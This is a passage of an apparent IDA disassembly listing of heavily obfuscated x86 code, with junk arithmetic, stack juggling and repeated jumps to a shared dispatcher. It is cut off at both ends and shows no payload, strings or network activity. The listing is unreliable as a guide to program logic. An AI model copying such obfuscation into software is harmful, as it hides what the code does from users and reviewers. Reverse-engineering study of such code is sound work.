CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_58FC61: ; CODE XREF: sdfs____:0059597Aj xor ecx, [esp] mov esp, [esp] bts [esp], ax pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_58FC72: ; CODE XREF: sdfs____:00592406j ; sub_5941BD-196Fj mov ecx, 60B24476h mov eax, ecx pop ecx jmp sub_59587A ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- loc_58FC7F: ; CODE XREF: sdfs____:00594039j add eax, edi pop edi sub eax, 4 xchg eax, [esp] pop esp push esp pop dword ptr [esp] push 65BDh jmp loc_5928E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58FC99: ; CODE XREF: sub_594228+3520j shr edx, 4 jmp loc_58CD7E ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_58FCA1: ; CODE XREF: sdfs____:00594627j pop ecx add edx, 603A24A6h add edx, edi push edi mov edi, 1BAD36BAh inc edi shl edi, 8 shl edi, 8 jmp loc_5910D9 ; --------------------------------------------------------------------------- loc_58FCBC: ; CODE XREF: sdfs____:0058BF73j push esp pop ecx add ecx, 4 push edi push ecx jmp loc_58D151 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_58FCCB: ; CODE XREF: sub_591370+82Bj pop ecx xor bl, al jmp loc_58FBA9 ; --------------------------------------------------------------------------- loc_58FCD3: ; CODE XREF: sub_591370-900j pop ebp shl eax, 4 shl eax, 5 shr eax, 8 sub eax, 273279h push eax mov ebp, [esp-10h+arg_C] add esp, 4 pop eax and eax, ebp jmp loc_592095 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5985AE loc_58FCF4: ; CODE XREF: sub_5985AE-2C3Fj mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp-0Ch+arg_8] pop esp mov [esp-10h+arg_C], ecx jmp loc_58C2CE ; END OF FUNCTION CHUNK FOR sub_5985AE ; --------------------------------------------------------------------------- loc_58FD0A: ; CODE XREF: sdfs____:0059645Ej shr eax, 3 push eax not dword ptr [esp] jmp loc_58E69A ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 push 5516h mov [esp], edi push esp pop edi push ecx mov ecx, 666B3E95h jmp loc_591A59 ; --------------------------------------------------------------------------- loc_58FD34: ; CODE XREF: sdfs____:005973D7j pop edx add eax, ebx mov ebx, [esp] add esp, 4 xchg eax, [esp] pop esp imul cx push ebx push 999h mov [esp], esp jmp loc_5921B6 ; --------------------------------------------------------------------------- loc_58FD55: ; CODE XREF: sdfs____:0058F701j push 44A5h jmp loc_59358B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58FD5F: ; CODE XREF: sub_594228+1110j imul ecx push 2A5Ah mov [esp+16h+var_18+2], edx push 7F04h mov [esp+1Ah+var_1C+2], esp add [esp+1Ah+var_1C+2], 4 pop edx push edi push esi push ebp mov ebp, 28B15E7Ch shr ebp, 5 sub ebp, 689545E6h jns loc_591814 jmp loc_597B3C ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_58FD92: ; CODE XREF: sdfs____:00596CEDj xor eax, [esp] mov esp, [esp] shl word ptr [esp], cl pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59576E loc_58FDA2: ; CODE XREF: sub_59576E-6F40j mov eax, [esp+0] add esp, 4 sub ebp, 2 push ebp push [esp+arg_0] pop ebp pop dword ptr [esp+0] jmp loc_595EF0 ; END OF FUNCTION CHUNK FOR sub_59576E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5BB696 loc_58FDBC: ; CODE XREF: sub_5BB696-2F76Ej push edx push ecx jmp loc_598AA0 ; END OF FUNCTION CHUNK FOR sub_5BB696 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58FDC3: ; CODE XREF: sub_594228+2F6Dj xor esi, [esp+22h+var_24+2] jmp loc_591914 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_58FDCB: ; CODE XREF: sub_5941BD+F78j add ebp, edi mov edi, [esp+0Ch+var_C] add esp, 4 push ebx push ecx mov ecx, 6E064578h mov ebx, 1A5F7998h jmp loc_592834 ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58FDE4: ; CODE XREF: sub_5917C0-45DBj push ecx mov ecx, 4 sub eax, ecx jmp loc_59498D ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59377D loc_58FDF1: ; CODE XREF: sub_59377D-199Cj pop esi pop esi sub esp, 4 mov [esp+8+var_8], eax mov eax, 70334B4Ah and eax, 6ABC54F4h dec eax xor eax, 3D3A1737h add eax, 22FD6661h push eax dec [esp+0Ch+var_C] mov eax, [esp+0Ch+var_C] add esp, 4 xor eax, 844D9529h jmp loc_5981DC ; END OF FUNCTION CHUNK FOR sub_59377D ; --------------------------------------------------------------------------- loc_58FE22: ; CODE XREF: sdfs____:005960A8j mov dl, 0D6h shl dl, 8 or dl, 70h add dl, 40h sub cl, dl jmp loc_5952ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_58FE34: ; CODE XREF: sub_59841F-685Fj pop [esp+4+var_4] jmp loc_598644 ; END OF FUNCTION CHUNK FOR sub_59841F ; =============== S U B R O U T I N E ======================================= sub_58FE3C proc near ; CODE XREF: sub_591435+5362j arg_0 = word ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0058BCC6 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058D203 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 00591827 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005924B5 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0059462C SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005987E6 SIZE 0000000D BYTES push ebx jmp loc_59462C sub_58FE3C endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_58FE42: ; CODE XREF: sdfs____:00592F2Fj jmp loc_598D58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_58FE47: ; CODE XREF: sdfs____:00595E69j ; sub_5941BD+425Dj mov eax, edi mov edi, [esp+10h+var_10] add esp, 4 shr eax, 1 sub eax, 20E7552Ch push esi mov esi, 4415544Dh xor esi, 7F094C29h jmp loc_58C7BA ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- loc_58FE67: ; CODE XREF: sdfs____:00594CA3j push edx jmp loc_58E654 ; --------------------------------------------------------------------------- loc_58FE6D: ; CODE XREF: sdfs____:00596D96j push ecx push edi push 24C42C3Ch pop edi or edi, 4F090FF5h jmp loc_59801F ; --------------------------------------------------------------------------- loc_58FE80: ; CODE XREF: sdfs____:00592A69j pop ebx jmp loc_590AFC ; --------------------------------------------------------------------------- loc_58FE86: ; CODE XREF: sdfs____:00594ED4j mov eax, esp push esi push ebp push 53E807BAh jmp loc_58D1EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59587A loc_58FE94: ; CODE XREF: sub_59587A-6BAj jmp loc_595F46 ; END OF FUNCTION CHUNK FOR sub_59587A ; =============== S U B R O U T I N E ======================================= sub_58FE99 proc near ; CODE XREF: sub_593131-2326j var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058C05E SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0058DBCB SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058E91C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058F004 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059254A SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005930B1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00593237 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00594BF5 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00595425 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00596191 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00596C8C SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00597B84 SIZE 00000030 BYTES sub esp, 4 mov [esp+10h+var_10], eax mov eax, esp jmp loc_59254A sub_58FE99 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58FEA9: ; CODE XREF: sub_591435-35C2j shr bl, 6 add bl, 4Fh sub al, bl jmp loc_595EAE ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594F18 loc_58FEB6: ; CODE XREF: sub_594F18-8CD3j or esi, 1D4D46CEh add esi, 9E313CCh add eax, esi pop esi jmp loc_58BBD8 ; END OF FUNCTION CHUNK FOR sub_594F18 ; --------------------------------------------------------------------------- movzx ax, byte ptr [edx] push edi push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_59538B ; --------------------------------------------------------------------------- loc_58FEE0: ; CODE XREF: sdfs____:00593740j mov [esp], eax push 50C918BBh mov eax, [esp] jmp loc_598D73 ; --------------------------------------------------------------------------- loc_58FEF0: ; CODE XREF: sdfs____:00596E96j jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58FEF5: ; CODE XREF: sub_5917C0-37ECj push edx jmp loc_5934C4 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58FEFB: ; CODE XREF: sub_591435+53Fj sub dh, 0C9h jns loc_59853A jmp loc_5955FA ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- pop edx push esi mov esi, esp add esi, 4 loc_58FF13: ; CODE XREF: sdfs____:0058F0D9j or bh, 0F1h jmp loc_593119 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D9A7 loc_58FF1B: ; CODE XREF: sub_58D9A7+1j push [esp+4+var_4] mov eax, [esp+8+var_8] push eax push 3BDAh mov [esp+10h+var_10], esp add [esp+10h+var_10], 4 mov eax, [esp+10h+var_10] jmp loc_5918F6 ; END OF FUNCTION CHUNK FOR sub_58D9A7 ; --------------------------------------------------------------------------- loc_58FF36: ; CODE XREF: sdfs____:00592A1Ej add edx, 0FFFFFFFFh sub edx, 0FFFFFFFFh add edx, 4C99342Dh add ecx, edx pop edx jmp loc_592B46 ; --------------------------------------------------------------------------- loc_58FF4A: ; CODE XREF: sdfs____:0058CEDBj push eax pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_58FF51: ; CODE XREF: sdfs____:00595788j js loc_595E63 add ecx, 41FD13C6h jnp loc_58BB55 push edi mov edi, 478BE880h xor ecx, edi mov edi, [esp] add esp, 4 add edx, 4D2F13FEh add edx, ecx sub edx, 4D2F13FEh pop ecx push eax mov eax, 4 add edx, eax pop eax xchg edx, [esp] mov esp, [esp] jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58FF97: ; CODE XREF: sub_5917C0-BB5j push dword ptr [esp+0] pop eax add esp, 4 push edx jmp loc_58C119 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_58FFA7: ; CODE XREF: sdfs____:0058D9C2j add edi, esi push esi mov esi, 5F9A3FC1h jmp loc_58E598 ; --------------------------------------------------------------------------- loc_58FFB4: ; CODE XREF: sdfs____:loc_592302j push esi mov esi, 44253F9Bh or esi, 36FF23AEh dec esi jmp loc_58BEDD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58FFC6: ; CODE XREF: sub_5917C0-16E2j ; sdfs____:005958B5j add eax, ecx pop ecx jmp loc_592307 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_58FFCE: ; CODE XREF: sdfs____:005906A7j push dword ptr [esp] pop edx jmp loc_592C10 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_58FFD7: ; CODE XREF: sub_5941BD-5E2j mov ecx, edx pop edx jmp loc_58BE0D ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- loc_58FFDF: ; CODE XREF: sdfs____:00598AB0j mov esp, [esp] jmp loc_58E084 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_58FFE7: ; CODE XREF: sub_591370-4E4Dj sub ecx, edx pop edx jmp loc_597ED4 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_58FFEF: ; CODE XREF: sdfs____:0059146Bj push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp push ebx push esp pop ebx add ebx, 4 jmp loc_591192 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_590007: ; CODE XREF: sub_59841F-C907j xchg ebx, [esp+0] pop esp mov [esp-4+arg_0], eax jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- loc_590013: ; CODE XREF: sdfs____:00595299j pop esi add ebp, 3917457Ah jmp loc_58CA85 ; --------------------------------------------------------------------------- loc_59001F: ; CODE XREF: sdfs____:005902AAj push dword ptr [esp] pop ecx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 sub esp, 4 mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp mov [esp], eax push esp mov eax, [esp] add esp, 4 push edi mov edi, 10CE2108h not edi add edi, 7CF61672h jmp loc_593875 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_59005E: ; CODE XREF: sub_591370-3B21j mov [esp-0Ch+arg_8], edx push esp pop edx add edx, 4 add edx, 4 xor edx, [esp-0Ch+arg_8] xor [esp-0Ch+arg_8], edx xor edx, [esp-0Ch+arg_8] mov esp, [esp-0Ch+arg_8] push edx jmp loc_597628 ; --------------------------------------------------------------------------- loc_59007E: ; CODE XREF: sub_591370+24AEj jmp loc_595E06 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_590083: ; CODE XREF: sdfs____:0058C4A6j pop esi jmp loc_58F435 ; --------------------------------------------------------------------------- loc_590089: ; CODE XREF: sdfs____:00590D2Ej sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebx mov ebx, 36A83865h push ebx jmp loc_58D4D0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E92A loc_5900A0: ; CODE XREF: sub_58E92A+1B8Cj mov eax, [esp+0] add esp, 4 add bl, 90h jmp loc_594E53 ; END OF FUNCTION CHUNK FOR sub_58E92A ; --------------------------------------------------------------------------- loc_5900B1: ; CODE XREF: sdfs____:0059687Aj mov ebp, 41957042h or edx, ebp pop ebp add edx, 0A2288C96h add eax, edx pop edx push 266Fh mov [esp], edi push edx jmp loc_59395D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_5900D0: ; CODE XREF: sub_5917C0-3A55j inc cl jg loc_58EA52 push dx mov dl, 8Eh add cl, dl jmp loc_58FFC6 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- mov ah, al mov dh, al loc_5900E7: ; CODE XREF: sdfs____:00590423j push ebx mov ebx, 0CC04DFB9h sub esi, ebx jmp loc_58DCCD ; --------------------------------------------------------------------------- loc_5900F4: ; CODE XREF: sdfs____:0058D970j pop eax shr ch, 8 inc ch xor ch, 7Ch add dh, ch pop ecx shl dh, 3 push ebx mov bl, 98h neg bl xchg ch, bl not ch xchg ch, bl jmp loc_58D66E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59576E loc_590113: ; CODE XREF: sub_59576E-4934j mov esi, esp add esi, 4 add esi, 2 xchg esi, [esp-4+arg_0] mov esp, [esp-4+arg_0] jmp loc_590BEA ; END OF FUNCTION CHUNK FOR sub_59576E ; --------------------------------------------------------------------------- loc_59012C: ; CODE XREF: sdfs____:0058DBB7j xor ebx, 76B66138h sub eax, ebx pop ebx xor ebx, eax xor edx, eax jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_59013E: ; CODE XREF: sub_591435-397Dj ; sub_59841F-A411j add al, dh sub al, 2Fh push [esp+12h+var_14+2] pop edx push edx mov edx, esp add edx, 4 add edx, 4 xor edx, [esp+16h+var_18+2] jmp loc_59205D ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_59015A: ; CODE XREF: sdfs____:0058E5DBj jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_59015F: ; CODE XREF: sub_591370+2447j push ecx mov ecx, esp add ecx, 4 jmp loc_58DE0B ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA0A loc_59016D: ; CODE XREF: sub_58FA0A+2310j sub edx, eax pop eax mov ecx, [esp+0] push ecx push esp pop ecx add ecx, 4 push esi mov esi, 4 sub ecx, 3AE516B9h add ecx, esi jmp loc_592FE8 ; END OF FUNCTION CHUNK FOR sub_58FA0A ; --------------------------------------------------------------------------- loc_59018F: ; CODE XREF: sdfs____:0058C4E6j mov [esp], esi mov esi, 47A52A1Dh jmp loc_598046 ; --------------------------------------------------------------------------- loc_59019C: ; CODE XREF: sdfs____:0059049Dj pop edx push edx mov dl, 90h sub al, dl pop edx mov bl, al pop eax jmp loc_592A99 ; --------------------------------------------------------------------------- loc_5901AB: ; CODE XREF: sdfs____:00598316j xchg edi, esi not edi xchg edi, esi push 5994h mov [esp], ecx jmp loc_58DDBD ; --------------------------------------------------------------------------- loc_5901BE: ; CODE XREF: sdfs____:loc_596A1Ej jmp loc_58D53A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590561 loc_5901C3: ; CODE XREF: sub_590561+2A23j add dx, 934Ch jmp loc_5907D0 ; END OF FUNCTION CHUNK FOR sub_590561 ; --------------------------------------------------------------------------- lodsd push ebx jmp loc_590950 ; --------------------------------------------------------------------------- loc_5901D4: ; CODE XREF: sdfs____:00591E1Aj push ebx push eax mov eax, 0BF101B3h xor eax, 0BF101B1h jmp loc_58D9C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5BB696 loc_5901E5: ; CODE XREF: sub_5BB696-2F9F5j mov bh, 0C6h mov ah, 32h sub ah, bh pop ebx add bl, 0C1h add bl, ah sub bl, 0C1h pop ax push 3CF1h mov [esp+1Ch+var_1C], ecx mov ecx, 3FCh add edi, ecx mov ecx, [esp+1Ch+var_1C] push eax mov eax, esp add eax, 4 push eax jmp loc_591C9E ; END OF FUNCTION CHUNK FOR sub_5BB696 ; --------------------------------------------------------------------------- loc_590216: ; CODE XREF: sdfs____:00591841j push 1F5Dh mov [esp], ecx jmp loc_592207 ; --------------------------------------------------------------------------- loc_590223: ; CODE XREF: sdfs____:0058FA00j rol byte ptr [esp], cl pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], edx mov edx, esp push ebx mov ebx, 13933BC8h neg ebx shl ebx, 6 xchg edx, ebx jmp loc_592229 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_59024A: ; CODE XREF: sub_591435-252j add edi, eax pop eax push ecx push ebp mov ebp, 27F34B6Eh dec ebp jmp loc_5928FE ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_59025A: ; CODE XREF: sub_591370-24F1j jmp loc_593566 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_59025F: ; CODE XREF: sdfs____:0058C536j neg ecx neg ecx shl ecx, 8 neg ecx jmp loc_59249A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_59026D: ; CODE XREF: sub_591435-5A45j mov esp, [esp+0] sub esp, 4 mov [esp-4+arg_0], ecx push ebx jmp loc_592A6E ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_59027C: ; CODE XREF: sdfs____:0058C81Aj not eax inc eax sub eax, 1 sub eax, 162FDAB2h and edx, eax pop eax dec edx jmp loc_595239 ; --------------------------------------------------------------------------- loc_590290: ; CODE XREF: sdfs____:0058CF7Cj mov ebp, edi pop edi shl ebp, 8 jmp loc_5962C4 ; --------------------------------------------------------------------------- loc_59029B: ; CODE XREF: sdfs____:0058C65Aj mov ebp, 0F8B9C9BEh xor ebx, ebp jmp loc_59495B ; --------------------------------------------------------------------------- loc_5902A7: ; CODE XREF: sdfs____:00595E97j mov esp, [esp] jmp loc_59001F ; --------------------------------------------------------------------------- neg dword ptr [esp] pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_5902B8: ; CODE XREF: sdfs____:00597C54j sub esi, 22BC35F4h jo loc_59098B or esi, 47D80BDBh sub esi, 59F662B6h not esi or esi, 5AD50CE8h jg loc_591159 dec esi shr esi, 4 js loc_59036F add esi, 0F2400615h add ebx, esi pop esi xchg ebx, [esp] mov esp, [esp] push dword ptr [esp] jmp loc_598B66 ; --------------------------------------------------------------------------- loc_5902FF: ; CODE XREF: sdfs____:00594BE0j sub ebx, edi pop edi jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_590307: ; CODE XREF: sdfs____:0059684Bj mov ecx, 67751DF1h not ecx shr ecx, 7 and ecx, 445D5AF3h jmp loc_595476 ; --------------------------------------------------------------------------- loc_59031C: ; CODE XREF: sdfs____:00591347j pop esp mov [esp], ebx mov ebx, 6ACF4896h jmp loc_592EE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_59032A: ; CODE XREF: sub_5962EB-46C4j sub ebx, 4CC11BFBh xchg ebp, ebx jmp loc_592BCD ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- loc_590337: ; CODE XREF: sdfs____:00592D99j push 12A5h mov [esp], ebx push 2F66h push esp pop dword ptr [esp] push eax push edi push 302E0922h pop edi and edi, 3B5D3B15h ja loc_59052C xor edi, 0ADF1000h jmp loc_598BB8 ; --------------------------------------------------------------------------- loc_590367: ; CODE XREF: sdfs____:00594EEFj mov edx, [esp] jmp loc_5951D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_59036F: ; CODE XREF: sdfs____:005902E2j ; sub_591435+6045j jmp loc_58E690 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- mov ecx, [esp] push eax push 7643h mov [esp], esp add dword ptr [esp], 4 mov eax, [esp] push eax mov eax, esp jmp loc_58C1D4 ; --------------------------------------------------------------------------- loc_590392: ; CODE XREF: sdfs____:00591C99j mov [esp], eax sub esp, 4 push esp pop dword ptr [esp] jmp loc_5978B6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BC4E loc_5903A1: ; CODE XREF: sub_58BC4E+34E1j add esp, 4 jmp loc_591029 ; END OF FUNCTION CHUNK FOR sub_58BC4E ; --------------------------------------------------------------------------- loc_5903AC: ; CODE XREF: sdfs____:0058F9CBj or edx, ebp pop ebp jmp loc_595264 ; --------------------------------------------------------------------------- loc_5903B4: ; CODE XREF: sdfs____:00595420j jge loc_595CB1 and esi, 13866692h jmp loc_59205D ; --------------------------------------------------------------------------- or al, 6 pop eax loc_5903C8: ; CODE XREF: sdfs____:loc_5959CFj add eax, 4CC5AE2Dh shl eax, 8 push ebx mov ebx, 7FDA2E6Eh sub ebx, 714925C1h sub eax, 1B4A4F43h sub eax, ebx add eax, 1B4A4F43h mov ebx, [esp] push ecx mov ecx, esp jmp loc_598A27 ; --------------------------------------------------------------------------- loc_5903F3: ; CODE XREF: sdfs____:0058BEEBj xor [esp], edi xor edi, [esp] mov esp, [esp] bt [esp], eax pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_590406: ; CODE XREF: sdfs____:00595D79j sub esp, 4 mov [esp], ebx mov ebx, esp push edx mov edx, 276E7C24h dec edx not edx push esi mov esi, 2574109Bh add esi, 7F2252F6h jmp loc_5900E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_590428: ; CODE XREF: sub_591370+66BDj push edx mov edx, 4A9F3908h inc edx xor edx, 69C45E37h sub eax, edx pop edx sub eax, edx push ebp mov ebp, 235B673Eh add eax, ebp pop ebp jmp loc_58E13B ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_590448: ; CODE XREF: sdfs____:0059202Ej sub esp, 4 mov [esp], edi jmp loc_58DE83 ; --------------------------------------------------------------------------- loc_590456: ; CODE XREF: sdfs____:00591A41j push 4 pop eax sub ebp, 3FC24F70h add ebp, eax push esi mov esi, 2B0F4530h or esi, 439615ABh jmp loc_592398 ; --------------------------------------------------------------------------- loc_590475: ; CODE XREF: sdfs____:0058EBCAj pop eax shl eax, 5 jp loc_598BB3 jmp loc_58BB40 ; --------------------------------------------------------------------------- push edi mov edi, esp add ah, 0EDh loc_59048A: ; CODE XREF: sdfs____:0058F3BCj push cx mov ch, al not ch mov al, ch pop cx or al, 1Fh xor al, 93h push edx mov dh, 0C2h and al, dh jmp loc_59019C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E92A loc_5904A2: ; CODE XREF: sub_58E92A+Ej sub bl, ah pop eax add bl, al push small 47A8h mov [esp+0], cx push eax mov ah, 83h mov ch, 0Fh sub ch, ah jmp loc_5900A0 ; END OF FUNCTION CHUNK FOR sub_58E92A ; --------------------------------------------------------------------------- loc_5904BB: ; CODE XREF: sdfs____:00592584j xor esi, [esp] jmp loc_5977B7 ; --------------------------------------------------------------------------- loc_5904C3: ; CODE XREF: sdfs____:0058DDE7j sub esp, 4 mov [esp], edi push edx jmp loc_598BE4 ; --------------------------------------------------------------------------- loc_5904D2: ; CODE XREF: sdfs____:00593964j pop edx add eax, edi jmp loc_58F9E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58CDE6 loc_5904DA: ; CODE XREF: sub_58CDE6+2503j pop esp and eax, ebp mov ebp, [esp+0] add esp, 4 or edx, eax shl edx, 1 push dword ptr [edi+24h] xor [esp+0], ebx xor ebx, [esp+0] jmp loc_592FC8 ; END OF FUNCTION CHUNK FOR sub_58CDE6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_596F8A loc_5904F8: ; CODE XREF: sub_596F8A-A344j mov edx, 328701E9h xor ebp, edx pop edx mov eax, ebp pop ebp jmp loc_58CB1F ; END OF FUNCTION CHUNK FOR sub_596F8A ; --------------------------------------------------------------------------- loc_590508: ; CODE XREF: sdfs____:0058D535j mov [esp], bx mov bh, 7Ch sub al, 87h add al, bh jmp loc_597E72 ; --------------------------------------------------------------------------- loc_590517: ; CODE XREF: sdfs____:0058D6BEj mov bh, 4Bh xor ch, bh pop ebx dec ch xor ch, 94h js loc_58C781 jmp loc_592BE7 ; --------------------------------------------------------------------------- loc_59052C: ; CODE XREF: sdfs____:00590356j xor edi, 0ADF1000h ja loc_59265C push esi mov esi, 2521316Bh jmp loc_591BA0 ; --------------------------------------------------------------------------- lodsd push 2532h mov [esp], edx push ecx mov ecx, 4B8D0F4Dh mov edx, ecx jmp loc_58C475 ; --------------------------------------------------------------------------- loc_590559: ; CODE XREF: sdfs____:loc_597C23j push edx mov dl, 87h jmp loc_595221 ; =============== S U B R O U T I N E ======================================= sub_590561 proc near ; CODE XREF: sub_5987BC-CC1j ; FUNCTION CHUNK AT 005901C3 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005907D0 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059085B SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00591D1F SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00592F7B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00594D10 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00597915 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00597D4E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00598111 SIZE 0000000E BYTES push ebx mov bx, 2E2Ah mov cx, bx pop ebx shr cx, 1 shl cx, 3 sub cx, 451Ah shr cx, 2 push edx mov dx, 2A13h push bx mov bx, 0 sub bx, dx xchg bx, dx jmp loc_59085B sub_590561 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_590590: ; CODE XREF: sdfs____:005969A6j or bh, 0CFh jmp loc_58C2DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_598A21 loc_590598: ; CODE XREF: sub_598A21-A050j pop edx jmp loc_5949C2 ; END OF FUNCTION CHUNK FOR sub_598A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_59059E: ; CODE XREF: sub_591435-2917j xor edi, 48773CDAh sub edi, 4DA31667h add ebx, 7EAB3A11h add ebx, edi jmp 